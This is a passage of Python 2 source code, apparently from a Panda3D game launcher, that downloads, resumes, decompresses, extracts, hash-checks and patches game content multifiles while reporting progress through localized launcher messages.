downloadMultifile(self, serverFilename, localFilename, mfname, callback, totalSize, currentSize, callbackProgress): if currentSize != 0 and currentSize == totalSize: callback() return self.launcherMessage(self.Localizer.LauncherDownloadFile % {'name': self.currentPhaseName, 'current': self.currentPhaseIndex, 'total': self.numPhases}) task = MiniTask(self.downloadMultifileTask) mfURL = self.addDownloadVersion(serverFilename) task.mfURL = mfURL self.notify.info('downloadMultifile: %s ' % task.mfURL.cStr()) task.callback = callback task.callbackProgress = callbackProgress task.lastUpdate = 0 self.httpChannel.getHeader(DocumentSpec(task.mfURL)) if self.httpChannel.isFileSizeKnown(): task.totalSize = self.httpChannel.getFileSize() else: task.totalSize = totalSize self.resetBytesPerSecond() task.serverFilename = serverFilename task.localFilename = localFilename task.mfname = mfname if currentSize != 0: if task.totalSize == currentSize: self.notify.info('already have full file! Skipping download.') callback() return self.httpChannel.beginGetSubdocument(DocumentSpec(task.mfURL), currentSize, task.totalSize) self.httpChannel.downloadToFile(task.localFilename, True) else: self.httpChannel.beginGetDocument(DocumentSpec(task.mfURL)) self.httpChannel.downloadToFile(task.localFilename) self._addMiniTask(task, 'launcher-download-multifile') def downloadPatchSimpleProgress(self, task): startingByte = self.httpChannel.getFirstByteDelivered() bytesDownloaded = self.httpChannel.getBytesDownloaded() bytesWritten = startingByte + bytesDownloaded totalBytes = self.httpChannel.getFileSize() percentPatchComplete = int(round(bytesWritten / float(totalBytes) * self.downloadPercentage)) self.setPercentPhaseComplete(self.currentPhase, percentPatchComplete) def getPercentPatchComplete(self, bytesWritten): return int(round((self.patchDownloadSoFar + bytesWritten) / float(self.totalPatchDownload) * self.downloadPercentage)) def downloadPatchOverallProgress(self, task): startingByte = self.httpChannel.getFirstByteDelivered() bytesDownloaded = self.httpChannel.getBytesDownloaded() bytesWritten = startingByte + bytesDownloaded percentPatchComplete = self.getPercentPatchComplete(bytesWritten) self.setPercentPhaseComplete(self.currentPhase, percentPatchComplete) def downloadMultifileWriteToDisk(self, task): self.maybeStartGame() startingByte = self.httpChannel.getFirstByteDelivered() bytesDownloaded = self.httpChannel.getBytesDownloaded() bytesWritten = startingByte + bytesDownloaded if self.dldb: self.dldb.setClientMultifileSize(task.mfname, bytesWritten) percentComplete = 0 if task.totalSize != 0: percentComplete = int(round(bytesWritten / float(task.totalSize) * self.downloadPercentage)) self.setPercentPhaseComplete(self.currentPhase, percentComplete) def downloadMultifileTask(self, task): task.totalSize = self.httpChannel.getFileSize() if self.httpChannel.run(): now = self.getTime() if now - task.lastUpdate >= self.UserUpdateDelay: task.lastUpdate = now self.testBandwidth() if task.callbackProgress: task.callbackProgress(task) startingByte = self.httpChannel.getFirstByteDelivered() bytesDownloaded = self.httpChannel.getBytesDownloaded() bytesWritten = startingByte + bytesDownloaded percentComplete = 0 if task.totalSize != 0: percentComplete = int(round(100.0 * bytesWritten / float(task.totalSize))) self.launcherMessage(self.Localizer.LauncherDownloadFilePercent % {'name': self.currentPhaseName, 'current': self.currentPhaseIndex, 'total': self.numPhases, 'percent': percentComplete}) self.foregroundSleep() return task.cont statusCode = self.httpChannel.getStatusCode() statusString = self.httpChannel.getStatusString() self.notify.info('HTTP status %s: %s' % (statusCode, statusString)) if self.httpChannel.isValid() and self.httpChannel.isDownloadComplete(): if task.callbackProgress: task.callbackProgress(task) self.notify.info('done: %s' % task.mfname) if self.dldb: self.dldb.setClientMultifileComplete(task.mfname) task.callback() del task.callback return task.done else: if statusCode == HTTPChannel.SCDownloadOpenError or statusCode == HTTPChannel.SCDownloadWriteError: self.handleDownloadWriteError(task) elif statusCode == HTTPChannel.SCLostConnection: startingByte = self.httpChannel.getFirstByteDelivered() bytesDownloaded = self.httpChannel.getBytesDownloaded() bytesWritten = startingByte + bytesDownloaded self.notify.info('Connection lost while downloading; got %s bytes. Reconnecting.' % bytesDownloaded) self.downloadMultifile(task.serverFilename, task.localFilename, task.mfname, task.callback, task.totalSize, bytesWritten, task.callbackProgress) elif (statusCode == 416 or statusCode == HTTPChannel.SCDownloadInvalidRange) and self.httpChannel.getFirstByteRequested() != 0: self.notify.info('Invalid subrange; redownloading entire file.') self.downloadMultifile(task.serverFilename, task.localFilename, task.mfname, task.callback, task.totalSize, 0, task.callbackProgress) else: if self.httpChannel.isValid(): self.notify.info('Unexpected situation: no error status, but %s incompletely downloaded.' % task.mfname) self.handleDownloadFatalError(task) self.downloadMultifile(task.serverFilename, task.localFilename, task.mfname, task.callback, task.totalSize, 0, task.callbackProgress) return task.done def decompressFile(self, localFilename, callback): self.notify.info('decompress: request: ' + localFilename.cStr()) self.launcherMessage(self.Localizer.LauncherDecompressingFile % {'name': self.currentPhaseName, 'current': self.currentPhaseIndex, 'total': self.numPhases}) task = MiniTask(self.decompressFileTask) task.localFilename = localFilename task.callback = callback task.lastUpdate = 0 task.decompressor = Decompressor() errorCode = task.decompressor.initiate(task.localFilename) if errorCode > 0: self._addMiniTask(task, 'launcher-decompressFile') else: self.handleInitiateFatalError(errorCode) def decompressFileTask(self, task): errorCode = task.decompressor.run() if errorCode == EUOk: now = self.getTime() if now - task.lastUpdate >= self.UserUpdateDelay: task.lastUpdate = now progress = task.decompressor.getProgress() self.launcherMessage(self.Localizer.LauncherDecompressingPercent % {'name': self.currentPhaseName, 'current': self.currentPhaseIndex, 'total': self.numPhases, 'percent': int(round(progress * 100))}) self.foregroundSleep() return task.cont elif errorCode == EUSuccess: self.launcherMessage(self.Localizer.LauncherDecompressingPercent % {'name': self.currentPhaseName, 'current': self.currentPhaseIndex, 'total': self.numPhases, 'percent': 100}) self.notify.info('decompressTask: Decompress done: ' + task.localFilename.cStr()) del task.decompressor task.callback() del task.callback return task.done elif errorCode == EUErrorAbort: self.handleDecompressFatalError(task, errorCode) return task.done elif errorCode == EUErrorWriteOutOfFiles or errorCode == EUErrorWriteDiskFull or errorCode == EUErrorWriteDiskSectorNotFound or errorCode == EUErrorWriteOutOfMemory or errorCode == EUErrorWriteSharingViolation or errorCode == EUErrorWriteDiskFault or errorCode == EUErrorWriteDiskNotFound: self.handleDecompressWriteError(task, errorCode) return task.done elif errorCode == EUErrorZlib: self.handleDecompressZlibError(task, errorCode) return task.done elif errorCode > 0: self.notify.warning('decompressMultifileTask: Unknown success return code: ' + errorToText(errorCode)) return task.cont else: self.notify.warning('decompressMultifileTask: Unknown return code: ' + errorToText(errorCode)) self.handleDecompressFatalError(task, errorCode) return task.done def decompressMultifile(self, mfname, localFilename, callback): self.notify.info('decompressMultifile: request: ' + localFilename.cStr()) self.launcherMessage(self.Localizer.LauncherDecompressingFile % {'name': self.currentPhaseName, 'current': self.currentPhaseIndex, 'total': self.numPhases}) task = MiniTask(self.decompressMultifileTask) task.mfname = mfname task.localFilename = localFilename task.callback = callback task.lastUpdate = 0 task.decompressor = Decompressor() errorCode = task.decompressor.initiate(task.localFilename) if errorCode > 0: self._addMiniTask(task, 'launcher-decompressMultifile') else: self.handleInitiateFatalError(errorCode) def decompressMultifileTask(self, task): errorCode = task.decompressor.run() if errorCode == EUOk: now = self.getTime() if now - task.lastUpdate >= self.UserUpdateDelay: task.lastUpdate = now progress = task.decompressor.getProgress() self.launcherMessage(self.Localizer.LauncherDecompressingPercent % {'name': self.currentPhaseName, 'current': self.currentPhaseIndex, 'total': self.numPhases, 'percent': int(round(progress * 100))}) percentProgress = int(round(progress * self.decompressPercentage)) totalPercent = self.downloadPercentage + percentProgress self.setPercentPhaseComplete(self.currentPhase, totalPercent) self.foregroundSleep() return task.cont elif errorCode == EUSuccess: self.launcherMessage(self.Localizer.LauncherDecompressingPercent % {'name': self.currentPhaseName, 'current': self.currentPhaseIndex, 'total': self.numPhases, 'percent': 100}) totalPercent = self.downloadPercentage + self.decompressPercentage self.setPercentPhaseComplete(self.currentPhase, totalPercent) self.notify.info('decompressMultifileTask: Decompress multifile done: ' + task.localFilename.cStr()) self.dldb.setClientMultifileDecompressed(task.mfname) del task.decompressor task.callback() del task.callback return task.done elif errorCode == EUErrorAbort: self.handleDecompressFatalError(task, errorCode) return task.done elif errorCode == EUErrorWriteOutOfFiles or errorCode == EUErrorWriteDiskFull or errorCode == EUErrorWriteDiskSectorNotFound or errorCode == EUErrorWriteOutOfMemory or errorCode == EUErrorWriteSharingViolation or errorCode == EUErrorWriteDiskFault or errorCode == EUErrorWriteDiskNotFound: self.handleDecompressWriteError(task, errorCode) return task.done elif errorCode == EUErrorZlib: self.handleDecompressZlibError(task, errorCode) return task.done elif errorCode > 0: self.notify.warning('decompressMultifileTask: Unknown success return code: ' + errorToText(errorCode)) return task.cont else: self.notify.warning('decompressMultifileTask: Unknown return code: ' + errorToText(errorCode)) self.handleDecompressFatalError(task, errorCode) return task.done def extract(self, mfname, localFilename, destDir, callback): self.notify.info('extract: request: ' + localFilename.cStr() + ' destDir: ' + destDir.cStr()) self.launcherMessage(self.Localizer.LauncherExtractingFile % {'name': self.currentPhaseName, 'current': self.currentPhaseIndex, 'total': self.numPhases}) task = MiniTask(self.extractTask) task.mfname = mfname task.localFilename = localFilename task.destDir = destDir task.callback = callback task.lastUpdate = 0 task.extractor = Extractor() task.extractor.setExtractDir(task.destDir) if not task.extractor.setMultifile(task.localFilename): self.setPandaErrorCode(6) self.notify.info('extract: Unable to open multifile %s' % task.localFilename.cStr()) sys.exit() numFiles = self.dldb.getServerNumFiles(mfname) for i in xrange(numFiles): subfile = self.dldb.getServerFileName(mfname, i) if not task.extractor.requestSubfile(Filename(subfile)): self.setPandaErrorCode(6) self.notify.info('extract: Unable to find subfile %s in multifile %s' % (subfile, mfname)) sys.exit() self.notify.info('Extracting %d subfiles from multifile %s.' % (numFiles, mfname)) self._addMiniTask(task, 'launcher-extract') def extractTask(self, task): errorCode = task.extractor.step() if errorCode == EUOk: now = self.getTime() if now - task.lastUpdate >= self.UserUpdateDelay: task.lastUpdate = now progress = task.extractor.getProgress() self.launcherMessage(self.Localizer.LauncherExtractingPercent % {'name': self.currentPhaseName, 'current': self.currentPhaseIndex, 'total': self.numPhases, 'percent': int(round(progress * 100.0))}) percentProgress = int(round(progress * self.extractPercentage)) totalPercent = self.downloadPercentage + self.decompressPercentage + percentProgress self.setPercentPhaseComplete(self.currentPhase, totalPercent) self.foregroundSleep() return task.cont elif errorCode == EUSuccess: self.launcherMessage(self.Localizer.LauncherExtractingPercent % {'name': self.currentPhaseName, 'current': self.currentPhaseIndex, 'total': self.numPhases, 'percent': 100}) totalPercent = self.downloadPercentage + self.decompressPercentage + self.extractPercentage self.setPercentPhaseComplete(self.currentPhase, totalPercent) self.notify.info('extractTask: Extract multifile done: ' + task.localFilename.cStr()) self.dldb.setClientMultifileExtracted(task.mfname) del task.extractor task.callback() del task.callback return task.done elif errorCode == EUErrorAbort: self.handleExtractFatalError(task, errorCode) return task.done elif errorCode == EUErrorFileEmpty: self.handleExtractFatalError(task, errorCode) return task.done elif errorCode == EUErrorWriteOutOfFiles or errorCode == EUErrorWriteDiskFull or errorCode == EUErrorWriteDiskSectorNotFound or errorCode == EUErrorWriteOutOfMemory or errorCode == EUErrorWriteSharingViolation or errorCode == EUErrorWriteDiskFault or errorCode == EUErrorWriteDiskNotFound: self.handleExtractWriteError(task, errorCode) return task.done elif errorCode > 0: self.notify.warning('extractTask: Unknown success return code: ' + errorToText(errorCode)) return task.cont else: self.notify.warning('extractTask: Unknown error return code: ' + errorToText(errorCode)) self.handleExtractFatalError(task, errorCode) return task.done def patch(self, patchFile, patcheeFile, callback): self.notify.info('patch: request: ' + patchFile.cStr() + ' patchee: ' + patcheeFile.cStr()) self.launcherMessage(self.Localizer.LauncherPatchingFile % {'name': self.currentPhaseName, 'current': self.currentPhaseIndex, 'total': self.numPhases}) task = MiniTask(self.patchTask) task.patchFile = patchFile task.patcheeFile = patcheeFile task.callback = callback task.lastUpdate = 0 task.patcher = Patcher() errorCode = task.patcher.initiate(task.patchFile, task.patcheeFile) if errorCode > 0: self._addMiniTask(task, 'launcher-patch') else: self.handleInitiateFatalError(errorCode) def patchTask(self, task): errorCode = task.patcher.run() if errorCode == EUOk: now = self.getTime() if now - task.lastUpdate >= self.UserUpdateDelay: task.lastUpdate = now progress = task.patcher.getProgress() self.launcherMessage(self.Localizer.LauncherPatchingPercent % {'name': self.currentPhaseName, 'current': self.currentPhaseIndex, 'total': self.numPhases, 'percent': int(round(progress * 100.0))}) self.foregroundSleep() return task.cont elif errorCode == EUSuccess: self.launcherMessage(self.Localizer.LauncherPatchingPercent % {'name': self.currentPhaseName, 'current': self.currentPhaseIndex, 'total': self.numPhases, 'percent': 100}) self.notify.info('patchTask: Patch done: ' + task.patcheeFile.cStr()) del task.patcher task.callback() del task.callback return task.done elif errorCode == EUErrorAbort: self.handlePatchFatalError(task, errorCode) return task.done elif errorCode == EUErrorFileEmpty: self.handlePatchFatalError(task, errorCode) return task.done elif errorCode == EUErrorWriteOutOfFiles or errorCode == EUErrorWriteDiskFull or errorCode == EUErrorWriteDiskSectorNotFound or errorCode == EUErrorWriteOutOfMemory or errorCode == EUErrorWriteSharingViolation or errorCode == EUErrorWriteDiskFault or errorCode == EUErrorWriteDiskNotFound: self.handlePatchWriteError(task, errorCode) return task.done elif errorCode > 0: self.notify.warning('patchTask: Unknown success return code: ' + errorToText(errorCode)) return task.cont else: self.notify.warning('patchTask: Unknown error return code: ' + errorToText(errorCode)) self.handlePatchFatalError(task, errorCode) return task.done def getProgressSum(self, phase): sum = 0 for i in xrange(0, len(self.linesInProgress)): if self.linesInProgress[i].find(phase) > -1: nameSizeTuple = self.linesInProgress[i].split() numSize = nameSizeTuple[1].split('L') sum += numSize[0].atoi() return sum def readProgressFile(self): localFilename = Filename(self.dbDir, Filename(self.progressFilename)) if not localFilename.exists(): self.notify.warning('File does not exist: %s' % localFilename.cStr()) self.linesInProgress = [] else: f = open(localFilename.toOsSpecific()) self.linesInProgress = f.readlines() f.close() localFilename.unlink() self.progressSum = 0 token = 'phase_' self.progressSum = self.getProgressSum(token) self.progressSum -= self.getProgressSum(token + '2') self.notify.info('total phases to be downloaded = ' + `(self.progressSum)`) self.checkClientDbExists() def prepareClient(self): self.notify.info('prepareClient: Preparing client for install') if not self.topDir.exists(): self.notify.info('prepareClient: Creating top directory: ' + self.topDir.cStr()) os.makedirs(self.topDir.toOsSpecific()) if not self.dbDir.exists(): self.notify.info('prepareClient: Creating db directory: ' + self.dbDir.cStr()) os.makedirs(self.dbDir.toOsSpecific()) if not self.patchDir.exists(): self.notify.info('prepareClient: Creating patch directory: ' + self.patchDir.cStr()) os.makedirs(self.patchDir.toOsSpecific()) if not self.mfDir.exists(): self.notify.info('prepareClient: Creating mf directory: ' + self.mfDir.cStr()) os.makedirs(self.mfDir.toOsSpecific()) def downloadLauncherFileDb(self): self.notify.info('Downloading launcherFileDb') self.downloadRam(self.launcherFileDbFilename, self.downloadLauncherFileDbDone) def downloadLauncherFileDbDone(self): self.launcherFileDbHash = HashVal() self.launcherFileDbHash.hashRamfile(self.ramfile) if self.VerifyFiles: self.notify.info('Validating Launcher files') for fileDesc in self.ramfile.readlines(): try: filename, hashStr = fileDesc.split(' ', 1) except: self.notify.info('Invalid line: "%s"' % fileDesc) self.failLauncherFileDb('No hash in launcherFileDb') serverHash = HashVal() if not self.hashIsValid(serverHash, hashStr): self.notify.info('Not a valid hash string: "%s"' % hashStr) self.failLauncherFileDb('Invalid hash in launcherFileDb') localHash = HashVal() localFilename = Filename(self.topDir, Filename(filename)) localHash.hashFile(localFilename) if localHash != serverHash: self.failLauncherFileDb('%s does not match expected version.' % filename) self.downloadServerDbFile() def failLauncherFileDb(self, string): self.notify.info(string) self.setPandaErrorCode(15) sys.exit() def downloadServerDbFile(self): self.notify.info('Downloading server db file') self.launcherMessage(self.Localizer.LauncherDownloadServerFileList) self.downloadRam(self.serverDbFilePath, self.downloadServerDbFileDone) def downloadServerDbFileDone(self): self.serverDbFileHash = HashVal() self.serverDbFileHash.hashRamfile(self.ramfile) self.readProgressFile() def checkClientDbExists(self): clientFilename = Filename(self.dbDir, Filename(self.clientDbFilename)) if clientFilename.exists(): self.notify.info('Client Db exists') self.createDownloadDb() else: self.notify.info('Client Db does not exist') self.downloadClientDbStarterFile() def downloadClientDbStarterFile(self): self.notify.info('Downloading Client Db starter file') localFilename = Filename(self.dbDir, Filename(self.compClientDbFilename)) self.download(self.clientStarterDbFilePath, localFilename, self.downloadClientDbStarterFileDone, None) return def downloadClientDbStarterFileDone(self): localFilename = Filename(self.dbDir, Filename(self.compClientDbFilename)) decompressor = Decompressor() decompressor.decompress(localFilename) self.createDownloadDb() def createDownloadDb(self): self.notify.info('Creating downloadDb') self.launcherMessage(self.Localizer.LauncherCreatingDownloadDb) clientFilename = Filename(self.dbDir, Filename(self.clientDbFilename)) self.notify.info('Client file name: ' + clientFilename.cStr()) self.launcherMessage(self.Localizer.LauncherDownloadClientFileList) serverFile = self.ramfile decompressor = Decompressor() decompressor.decompress(serverFile) self.notify.info('Finished decompress') self.dldb = DownloadDb(serverFile, clientFilename) self.notify.info('created download db') self.launcherMessage(self.Localizer.LauncherFinishedDownloadDb) self.currentPhase = self.LauncherPhases[0] self.currentPhaseIndex = 1 self.currentPhaseName = self.Localizer.LauncherPhaseNames[self.currentPhase] self.updatePhase(self.currentPhase) def maybeStartGame(self): if not self.started and self.currentPhase >= self.showPhase: self.started = True self.notify.info('maybeStartGame: starting game') self.launcherMessage(self.Localizer.LauncherStartingGame) self.background() __builtin__.launcher = self self.startGame() def _runTaskManager(self): if not self.taskMgrStarted: self.miniTaskMgr.run() self.notify.info('Switching task managers.') taskMgr.run() def _stepMiniTaskManager(self, task): self.miniTaskMgr.step() if self.miniTaskMgr.taskList: return task.cont self.notify.info('Stopping mini task manager.') self.miniTaskMgr = None return task.done def _addMiniTask(self, task, name): if not self.miniTaskMgr: self.notify.info('Restarting mini task manager.') self.miniTaskMgr = MiniTaskManager() from direct.task.TaskManagerGlobal import taskMgr taskMgr.remove('miniTaskManager') taskMgr.add(self._stepMiniTaskManager, 'miniTaskManager') self.miniTaskMgr.add(task, name) def newTaskManager(self): self.taskMgrStarted = True if self.miniTaskMgr.running: self.miniTaskMgr.stop() from direct.task.TaskManagerGlobal import taskMgr taskMgr.remove('miniTaskManager') taskMgr.add(self._stepMiniTaskManager, 'miniTaskManager') def mainLoop(self): try: self._runTaskManager() except SystemExit: if hasattr(__builtin__, 'base'): base.destroy() self.notify.info('Normal exit.') raise except: self.setPandaErrorCode(12) self.notify.warning('Handling Python exception.') if hasattr(__builtin__, 'base') and getattr(base, 'cr', None): if base.cr.timeManager: from otp.otpbase import OTPGlobals base.cr.timeManager.setDisconnectReason(OTPGlobals.DisconnectPythonError) base.cr.timeManager.setExceptionInfo() base.cr.sendDisconnect() if hasattr(__builtin__, 'base'): base.destroy() self.notify.info('Exception exit.\n') import traceback traceback.print_exc() sys.exit() return def updatePhase(self, phase): self.notify.info('Updating multifiles in phase: ' + `phase`) self.setPercentPhaseComplete(self.currentPhase, 0) self.phaseMultifileNames = [] numfiles = self.dldb.getServerNumMultifiles() for i in xrange(self.dldb.getServerNumMultifiles()): mfname = self.dldb.getServerMultifileName(i) if self.dldb.getServerMultifilePhase(mfname) == phase: self.phaseMultifileNames.append(mfname) self.updateNextMultifile() def updateNextMultifile(self): if len(self.phaseMultifileNames) > 0: self.currentMfname = self.phaseMultifileNames.pop() self.curMultifileRetry = 0 self.getMultifile(self.currentMfname) else: if self.currentMfname is None: self.notify.warning('no multifile found! See below for debug info:') for i in xrange(self.dldb.getServerNumMultifiles()): mfname = self.dldb.getServerMultifileName(i) phase = self.dldb.getServerMultifilePhase(mfname) print i, mfname, phase self.handleGenericMultifileError() decompressedMfname = os.path.splitext(self.currentMfname)[0] localFilename = Filename(self.mfDir, Filename(decompressedMfname)) nextIndex = self.LauncherPhases.index(self.currentPhase) + 1 if nextIndex < len(self.LauncherPhases): self.MakeNTFSFilesGlobalWriteable(localFilename) else: self.MakeNTFSFilesGlobalWriteable() vfs = VirtualFileSystem.getGlobalPtr() vfs.mount(localFilename, '.', VirtualFileSystem.MFReadOnly) self.setPercentPhaseComplete(self.currentPhase, 100) self.notify.info('Done updating multifiles in phase: ' + `(self.currentPhase)`) self.progressSoFar += int(round(self.phaseOverallMap[self.currentPhase] * 100)) self.notify.info('progress so far ' + `(self.progressSoFar)`) messenger.send('phaseComplete-' + `(self.currentPhase)`) if nextIndex < len(self.LauncherPhases): self.currentPhase = self.LauncherPhases[nextIndex] self.currentPhaseIndex = nextIndex + 1 self.currentPhaseName = self.Localizer.LauncherPhaseNames[self.currentPhase] self.updatePhase(self.currentPhase) else: self.notify.info('ALL PHASES COMPLETE') self.maybeStartGame() messenger.send('launcherAllPhasesComplete') self.cleanup() return def isDownloadComplete(self): return self._downloadComplete def updateMultifileDone(self): self.updateNextMultifile() def downloadMultifileDone(self): self.getDecompressMultifile(self.currentMfname) def getMultifile(self, mfname): self.notify.info('Downloading multifile: ' + mfname) if not self.dldb.clientMultifileExists(mfname): self.maybeStartGame() self.notify.info('Multifile does not exist in client db,' + 'creating new record: ' + mfname) self.dldb.addClientMultifile(mfname) curHash = self.dldb.getServerMultifileHash(mfname) self.dldb.setClientMultifileHash(mfname, curHash) localFilename = Filename(self.mfDir, Filename(mfname)) if localFilename.exists(): curSize = localFilename.getFileSize() self.dldb.setClientMultifileSize(mfname, curSize) if curSize == self.dldb.getServerMultifileSize(mfname): self.dldb.setClientMultifileComplete(mfname) decompressedMfname = os.path.splitext(mfname)[0] decompressedFilename = Filename(self.mfDir, Filename(decompressedMfname)) if (not self.dldb.clientMultifileComplete(mfname) or not self.dldb.clientMultifileDecompressed(mfname)) and decompressedFilename.exists(): clientMd5 = HashVal() clientMd5.hashFile(decompressedFilename) clientVer = self.dldb.getVersion(Filename(decompressedMfname), clientMd5) if clientVer != -1: self.notify.info('Decompressed multifile is already on disk and correct: %s (version %s)' % (mfname, clientVer)) self.dldb.setClientMultifileComplete(mfname) self.dldb.setClientMultifileDecompressed(mfname) compressedFilename = Filename(self.mfDir, Filename(mfname)) compressedFilename.unlink() extractedOk = True numFiles = self.dldb.getServerNumFiles(mfname) for i in xrange(numFiles): subfile = self.dldb.getServerFileName(mfname, i) fn = Filename(self.mfDir, Filename(subfile)) if fn.compareTimestamps(decompressedFilename) <= 0: extractedOk = False break if extractedOk: self.notify.info('Multifile appears to have been extracted already.') self.dldb.setClientMultifileExtracted(mfname) if not self.dldb.clientMultifileComplete(mfname) or not decompressedFilename.exists(): self.maybeStartGame() currentSize = self.dldb.getClientMultifileSize(mfname) totalSize = self.dldb.getServerMultifileSize(mfname) localFilename = Filename(self.mfDir, Filename(mfname)) if not localFilename.exists(): currentSize = 0 else: currentSize = min(currentSize, localFilename.getFileSize()) if currentSize == 0: self.notify.info('Multifile has not been started, ' + 'downloading new file: ' + mfname) curHash = self.dldb.getServerMultifileHash(mfname) self.dldb.setClientMultifileHash(mfname, curHash) self.phaseNewDownload[self.currentPhase] = 1 self.downloadMultifile(self.contentDir + mfname, localFilename, mfname, self.downloadMultifileDone, totalSize, 0, self.downloadMultifileWriteToDisk) else: clientHash = self.dldb.getClientMultifileHash(mfname) serverHash = self.dldb.getServerMultifileHash(mfname) if clientHash.eq(serverHash): self.notify.info('Multifile is not complete, finishing download for %s, size = %s / %s' % (mfname, currentSize, totalSize)) self.downloadMultifile(self.contentDir + mfname, localFilename, mfname, self.downloadMultifileDone, totalSize, currentSize, self.downloadMultifileWriteToDisk) elif self.curMultifileRetry < self.multifileRetries: self.notify.info('recover attempt: %s / %s' % (self.curMultifileRetry, self.multifileRetries)) self.curMultifileRetry += 1 self.notify.info('Multifile is not complete, and is out of date. ' + 'Restarting download with newest multifile') self.dldb.setClientMultifileIncomplete(self.currentMfname) self.dldb.setClientMultifileSize(self.currentMfname, 0) self.dldb.setClientMultifileHash(self.currentMfname, serverHash) self.getMultifile(self.currentMfname) else: self.setPandaErrorCode(6) self.notify.info('getMultifile: Failed to download multifile') sys.exit() else: self.notify.info('Multifile already complete: ' + mfname) self.downloadMultifileDone() def updateMultifileDone(self): self.updateNextMultifile() def downloadMultifileDone(self): self.getDecompressMultifile(self.currentMfname) def getMultifile(self, mfname): self.notify.info('Downloading multifile: ' + mfname) if not self.dldb.clientMultifileExists(mfname): self.maybeStartGame() self.notify.info('Multifile does not exist in client db,' + 'creating new record: ' + mfname) self.dldb.addClientMultifile(mfname) if self.DecompressMultifiles: curHash = self.dldb.getServerMultifileHash(mfname) self.dldb.setClientMultifileHash(mfname, curHash) localFilename = Filename(self.mfDir, Filename(mfname)) if localFilename.exists(): curSize = localFilename.getFileSize() self.dldb.setClientMultifileSize(mfname, curSize) if curSize == self.dldb.getServerMultifileSize(mfname): self.dldb.setClientMultifileComplete(mfname) decompressedMfname = os.path.splitext(mfname)[0] decompressedFilename = Filename(self.mfDir, Filename(decompressedMfname)) if self.DecompressMultifiles: if (not self.dldb.clientMultifileComplete(mfname) or not self.dldb.clientMultifileDecompressed(mfname)) and decompressedFilename.exists(): clientMd5 = HashVal() clientMd5.hashFile(decompressedFilename) clientVer = self.dldb.getVersion(Filename(decompressedMfname), clientMd5) if clientVer != -1: self.notify.info('Decompressed multifile is already on disk and correct: %s (version %s)' % (mfname, clientVer)) self.dldb.setClientMultifileComplete(mfname) self.dldb.setClientMultifileDecompressed(mfname) compressedFilename = Filename(self.mfDir, Filename(mfname)) compressedFilename.unlink() extractedOk = True numFiles = self.dldb.getServerNumFiles(mfname) for i in xrange(numFiles): subfile = self.dldb.getServerFileName(mfname, i) fn = Filename(self.mfDir, Filename(subfile)) if fn.compareTimestamps(decompressedFilename) <= 0: extractedOk = False break if extractedOk: self.notify.info('Multifile appears to have been extracted already.') self.dldb.setClientMultifileExtracted(mfname) if not self.dldb.clientMultifileComplete(mfname) or not decompressedFilename.exists(): self.maybeStartGame() currentSize = self.dldb.getClientMultifileSize(mfname) totalSize = self.dldb.getServerMultifileSize(mfname) localFilename = Filename(self.mfDir, Filename(mfname)) if not localFilename.exists(): currentSize = 0 if currentSize == 0: self.notify.info('Multifile has not been started, ' + 'downloading new file: ' + mfname) curHash = self.dldb.getServerMultifileHash(mfname) self.dldb.setClientMultifileHash(mfname, curHash) self.phaseNewDownload[self.currentPhase] = 1 self.downloadMultifile(self.contentDir + mfname, localFilename, mfname, self.downloadMultifileDone, totalSize, 0, self.downloadMultifileWriteToDisk) else: clientHash = self.dldb.getClientMultifileHash(mfname) serverHash = self.dldb.getServerMultifileHash(mfname) if clientHash.eq(serverHash): self.notify.info('Multifile is not complete, finishing download for %s, size = %s / %s' % (mfname, currentSize, totalSize)) self.downloadMultifile(self.contentDir + mfname, localFilename, mfname, self.downloadMultifileDone, totalSize, currentSize, self.downloadMultifileWriteToDisk) elif self.curMultifileRetry < self.multifileRetries: self.notify.info('recover attempt: %s / %s' % (self.curMultifileRetry, self.multifileRetries)) self.curMultifileRetry += 1 self.notify.info('Multifile is not complete, and is out of date. ' + 'Restarting download with newest multifile') self.dldb.setClientMultifileIncomplete(self.currentMfname) self.dldb.setClientMultifileSize(self.currentMfname, 0) if self.DecompressMultifiles: self.dldb.setClientMultifileHash(self.currentMfname, serverHash) self.getMultifile(self.currentMfname) else: self.setPandaErrorCode(6) self.notify.info('getMultifile: Failed to download multifile') sys.exit() else: self.notify.info('Multifile already complete: ' + mfname) self.downloadMultifileDone() def getDecompressMultifile(self, mfname): if not self.DecompressMultifiles: self.decompressMultifileDone() elif not self.dldb.clientMultifileDecompressed(mfname): self.maybeStartGame() self.notify.info('decompressMultifile: Decompressing multifile: ' + mfname) localFilename = Filename(self.mfDir, Filename(mfname)) self.decompressMultifile(mfname, localFilename, self.decompressMultifileDone) else: self.notify.info('decompressMultifile: Multifile already decompressed: ' + mfname) self.decompressMultifileDone() def decompressMultifileDone(self): if self.phaseNewDownload[self.currentPhase]: self.setPercentPhaseComplete(self.currentPhase, 95) self.extractMultifile(self.currentMfname) def extractMultifile(self, mfname): if not self.dldb.clientMultifileExtracted(mfname): self.maybeStartGame() self.notify.info('extractMultifile: Extracting multifile: ' + mfname) decompressedMfname = os.path.splitext(mfname)[0] localFilename = Filename(self.mfDir, Filename(decompressedMfname)) destDir = Filename(self.topDir) self.notify.info('extractMultifile: Extracting: ' + localFilename.cStr() + ' to: ' + destDir.cStr()) self.extract(mfname, localFilename, destDir, self.extractMultifileDone) else: self.notify.info('extractMultifile: Multifile already extracted: ' + mfname) self.extractMultifileDone() def extractMultifileDone(self): if self.phaseNewDownload[self.currentPhase]: self.setPercentPhaseComplete(self.currentPhase, 99) self.notify.info('extractMultifileDone: Finished updating multifile: ' + self.currentMfname) self.patchMultifile() def getPatchFilename(self, fname, currentVersion): return fname + '.v' + `currentVersion` + '.' + self.patchExtension def downloadPatches(self): if len(self.patchList) > 0: self.currentPatch, self.currentPatchee, self.currentPatchVersion = self.patchList.pop() self.notify.info(self.contentDir) self.notify.info(self.currentPatch) patchFile = self.currentPatch + '.pz' serverPatchFilePath = self.contentDir + patchFile self.notify.info(serverPatchFilePath) localPatchFilename = Filename(self.patchDir, Filename(patchFile)) if self.currentPhase > 3: self.download(serverPatchFilePath, localPatchFilename, self.downloadPatchDone, self.downloadPatchSimpleProgress) else: self.download(serverPatchFilePath, localPatchFilename, self.downloadPatchDone, self.downloadPatchOverallProgress) else: self.notify.info('applyNextPatch: Done patching multifile: ' + `(self.currentPhase)`) self.patchDone() def downloadPatchDone(self): self.patchDownloadSoFar += self.httpChannel.getBytesDownloaded() self.notify.info('downloadPatchDone: Decompressing patch file: ' + self.currentPatch + '.pz') self.decompressFile(Filename(self.patchDir, Filename(self.currentPatch + '.pz')), self.decompressPatchDone) def decompressPatchDone(self): self.notify.info('decompressPatchDone: Patching file: ' + 